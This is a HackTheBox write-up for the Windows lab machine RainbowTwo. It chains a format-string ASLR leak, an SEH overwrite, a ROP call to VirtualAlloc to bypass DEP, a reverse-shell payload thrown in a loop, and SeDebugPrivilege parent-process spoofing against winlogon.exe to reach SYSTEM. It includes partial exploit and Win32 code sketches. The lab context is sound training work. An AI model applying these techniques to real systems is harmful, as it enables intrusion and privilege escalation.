HTB: RainbowTwo Writeup

RainbowTwo - HackTheBox Writeup

Machine Information

AttributeDetails
NameRainbowTwo
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.234.70
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

RainbowTwo is an exploit-dev focused Hard Windows box built around a custom file-sharing service (filesrv.exe) listening on a non-standard port. Anonymous FTP hands over the vulnerable binary itself plus a copy of kernel32.dll, which is everything needed to build a fully weaponized exploit offline: a format-string leak defeats ASLR, an SEH-based stack overflow gives control flow despite DEP and GS being enabled, and a hand-built ROP chain calls VirtualAlloc to make the stack executable before landing a reverse shell. Because the exploit is stochastic and the resulting shell is short-lived, the win condition is a loop-and-catch race rather than a single clean shot. From there, SeDebugPrivilege on the low-priv account is abused via parent-process spoofing against winlogon.exe to land a reparented SYSTEM process.

TL;DR: Anonymous FTP (21) leaks filesrv.exe + kernel32.dll → format-string leak on TCP/2121 (TEST %p.%p) bypasses ASLR → SEH overwrite (nSEH@1032/SEH@1036) + stack pivot (add esp,0xe10;ret) → ROP chain resolves VirtualAlloc via the TlsAlloc IAT entry (offset 0xffffced0) to bypass DEP → RWX stack → jmp espwindows/shell_reverse_tcp on 443, thrown in a loop with an auto-handler → shell as rainbow2\dev → user.txt → SeDebugPrivilege + parent-process spoofing against winlogon.exe → reparented SYSTEM process → root.txt.


Reconnaissance

Port Scanning

Terminal window
# Full TCP sweep against the target
nmap -sC -sV -T4 -p- 10.129.234.70

Results:

  • 21/tcp — FTP, anonymous login allowed
  • 2121/tcp — unknown/custom service (turned out to be the filesrv file-sharing server)
  • 3389/tcp — RDP (not used in the chain)

Service Enumeration

FTP (21) — anonymous access. Logging in as anonymous exposes exactly the artifacts an exploit developer needs:

Terminal window
# Anonymous FTP pull of the exploit-dev artifacts
ftp 10.129.234.70
# Name: anonymous / Password: (blank)
ftp> binary
ftp> get filesrv.exe
ftp> get README.txt
ftp> cd SysWOW64
ftp> get kernel32.dll
  • filesrv.exe — the custom service binary itself, runnable/inspectable locally.
  • README.txt — developer changelog stating the service was rebuilt with ASLR, DEP, and GS all enabled after a prior compromise — effectively a dare to bypass all three mitigations.
  • SysWOW64\kernel32.dll — the exact kernel32.dll the remote process loads, which matters because the exploit needs to resolve VirtualAlloc from it (see Initial Foothold).

Custom service (2121). Interacting with the service directly shows it accepts a <COMMAND> <PATH> grammar (e.g. LST, GET, TEST), validates the path, and — critically — echoes the supplied path back inside its own error messages:

Terminal window
nc 10.129.234.70 2121
TEST hello
# ERROR: Can not open Path: hello

Vulnerability Assessment

  1. Anonymous FTP discloses the exact vulnerable binary and its DLL dependency — turns a black-box remote target into a fully offline-debuggable target.
  2. Format string vulnerability in the path-echo logic on the 2121 service — user input reaches an error-formatting routine unsanitized.
  3. Stack-based buffer overflow overwriting the SEH chain in the same path-handling code, reachable despite DEP/ASLR/GS being enabled.

Initial Foothold

Exploitation Path

1. ASLR bypass via format string leak. Sending a format specifier as the “path” argument gets it evaluated instead of just echoed:

Terminal window
nc 10.129.234.70 2121
TEST %p.%p

The leaked value resolves to a pointer inside filesrv.exe at a fixed offset from the module base:

base = leaked_pointer - 0x14120 # filesrv.exe + 0x14120 == leaked pointer

This works because the vulnerable code path passes attacker-controlled input directly as the format argument to a printf-family call rather than as a data argument — classic format-string abuse — and one of the stack slots the format specifiers walk happens to contain a return address / code pointer back into the module itself. With ASLR enabled the module base changes every restart, so this leak has to be re-run fresh for every exploit attempt.

2. SEH overwrite with DEP/ASLR/GS enabled. Overflowing the path buffer further doesn’t hit EIP directly — it clobbers the Structured Exception Handling (SEH) chain instead, at fixed offsets:

nSEH offset = 1032
SEH offset = 1036

Because README.txt confirms DEP is on, the classic “pop pop ret into nSEH” trick isn’t enough on its own — the stack at the point of dispatch isn’t executable, so any shellcode placed there would simply fault. The exploit therefore needs to reach code execution and make memory executable before running a payload.

3. Stack pivot + ROP chain to defeat DEP. The SEH handler is redirected to a add esp, 0xe10; ret gadget inside filesrv.exe (found via a ROP-gadget search against the leaked base), which pivots esp into the attacker-controlled buffer holding the ROP chain. That chain’s job is to call VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE) to flip the stack to RWX. VirtualAlloc isn’t in filesrv.exe’s Import Address Table, so it has to be resolved indirectly through a function that is imported — TlsAlloc — using the fixed offset between the two functions inside the kernel32.dll pulled from FTP:

VirtualAlloc - TlsAlloc = 0xffffced0
# Sketch of the exploit primitives (pwntools-style), values as recovered from the live target
from pwn import remote
TARGET, PORT = "10.129.234.70", 2121
def leak_base():
r = remote(TARGET, PORT)
r.sendline(b"TEST %p.%p")
leak = r.recvline() # ERROR: Can not open Path: <ptr1>.<ptr2>
# second %p lands inside filesrv.exe
base = int(leak.split(b'.')[1], 16) - 0x14120
return base, r
# nSEH/SEH overwrite offsets confirmed via a local cyclic-pattern crash
NSEH_OFF, SEH_OFF = 1032, 1036
STACK_PIVOT = "add esp, 0xe10; ret" # lands esp back into the ROP buffer
# ROP chain calls VirtualAlloc(resolved via TlsAlloc IAT entry - 0xffffced0)
# to make the stack RWX, then falls through to a jmp esp -> shellcode

Once the stack is RWX and a jmp esp lands, execution reaches a windows/shell_reverse_tcp payload catching back on port 443.

4. Loop-and-catch, because the exploit is stochastic. Each crash kills the running service instance; the supervisor has to restart it before the next attempt can leak a fresh base and land. The exploit was therefore driven in a loop, paired with an auto-handler that immediately fired a batch of commands the instant a shell connected — because the resulting shell is extremely short-lived before the process dies again:

Terminal window
# Reverse shell catcher, fired automatically per successful connection
while true; do
python3 exploit.py # fresh base leak + fresh ROP chain each iteration
done

This eventually landed a shell as rainbow2\dev:

C:\> whoami
rainbow2\dev
C:\> type C:\Users\dev\Desktop\user.txt
<redacted>

Privilege Escalation

A quick privilege check on the unstable shell showed SeDebugPrivilege available to dev:

C:\> whoami /priv
Privilege Name State
============================= ========
SeDebugPrivilege ...

SeDebugPrivilege grants the holder the right to open a handle to any process on the system — including ones owned by SYSTEM — bypassing the normal DACL check that would otherwise block OpenProcess() against a protected process like winlogon.exe.

Parent-process spoofing against winlogon.exe:

// Sketch of the technique executed from the dev shell
// 1. Enable SeDebugPrivilege on the current token
AdjustTokenPrivileges(hToken, FALSE, &sePrivDebug, ...);
// 2. SeDebugPrivilege lets us open a handle to a SYSTEM-owned process
// that our DACL would normally deny access to
HANDLE hWinlogon = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, winlogonPid);
// 3. Build a STARTUPINFOEX with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
// pointed at the winlogon handle
InitializeProcThreadAttributeList(...);
UpdateProcThreadAttribute(attrList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hWinlogon, sizeof(HANDLE), NULL, NULL);
// 4. Spawn the new process reparented under winlogon.exe
CreateProcess(NULL, cmdLine, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
&startupInfoEx.StartupInfo, &pi);

The reparented child inherited a SYSTEM security context, letting it read the protected root flag:

C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<redacted>

Attack Chain Summary

Anonymous FTP (21) leaks filesrv.exe + kernel32.dll
→ Fuzz custom service on 2121, find path is echoed in errors
→ Format string leak (TEST %p.%p) → filesrv.exe base (ASLR bypass)
→ SEH overwrite (nSEH@1032 / SEH@1036)
→ Stack pivot (add esp, 0xe10; ret)
→ ROP chain resolves VirtualAlloc via TlsAlloc IAT (offset 0xffffced0) → RWX stack (DEP bypass)
→ jmp esp → windows/shell_reverse_tcp on 443, thrown in a loop w/ auto-handler
→ Shell as rainbow2\dev → user.txt
→ SeDebugPrivilege → OpenProcess(winlogon.exe) + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
→ Reparented SYSTEM process → root.txt

Tools Used

ToolPurpose
nmapPort scanning
FTP clientAnonymous pull of filesrv.exe, README.txt, kernel32.dll
nc (netcat)Manual protocol fuzzing against the 2121 service
Disassembler / debugger (Ghidra/WinDbg-class tooling)Confirming the filesrv+0x14120 leak offset and computing VirtualAlloc - TlsAlloc from the pulled kernel32.dll
ROP gadget searchLocating the stack-pivot and DEP-bypass gadgets inside filesrv.exe
Python (pwntools-style socket exploit)Driving the leak → overflow → ROP chain against the live service
msfvenomGenerating the windows/shell_reverse_tcp payload
Custom Win32 privesc toolSeDebugPrivilege + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS reparenting against winlogon.exe

Key Learnings

Techniques Practiced

  • Anonymous FTP recon that turns a remote black-box service into a locally debuggable target
  • Format-string based ASLR bypass
  • SEH-chain overwrite exploitation with DEP and GS enabled
  • Stack pivoting to escape a non-executable exception-dispatch frame
  • ROP-based DEP bypass via VirtualAlloc, resolved indirectly through an IAT-neighbor function
  • Looped, race-driven exploitation against a stochastic, self-restarting service
  • SeDebugPrivilege abuse via parent-process spoofing to obtain a SYSTEM-context process

Lessons Learned

  1. Anonymous file shares that expose the actual vulnerable binary (plus its exact DLL dependencies) turn “remote blind exploit dev” into “local debuggable exploit dev” — always pull and diff every file an anonymous share offers before touching the live service.
  2. A path or parameter that gets echoed back verbatim in an error message is a format-string candidate worth testing immediately with %p/%x sequences.
  3. DEP/ASLR/GS being enabled doesn’t make a stack overflow unexploitable — it just means the exploit chain needs a leak (ASLR), a DEP-bypass primitive (ROP → VirtualAlloc), and a crash path that doesn’t route through the GS cookie check (SEH overwrite instead of a direct return-address smash).
  4. When a service exploit is inherently unreliable (crash timing, thread-stack variance, restart windows), build the win condition as a loop with an automatic catch/handler rather than trying to perfect a single deterministic shot.
  5. SeDebugPrivilege alone is a privesc primitive: it lets a low-privileged account open handles to SYSTEM processes that its own DACL would otherwise block, which is enough to leverage a SYSTEM-owned process as a spoofed parent.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • amra, RainbowTwo — official HackTheBox writeup (machine author: xct). Used only for explanatory background on why the format-string leak yields a reliable ASLR bypass, how the SEH-based DEP bypass via VirtualAlloc works mechanically, and the general bad-byte/GS-cookie considerations in this exploit class. All IPs, offsets, gadget addresses, credentials, and command output in this write-up are from the author’s own live run against 10.129.234.70, not from the reference.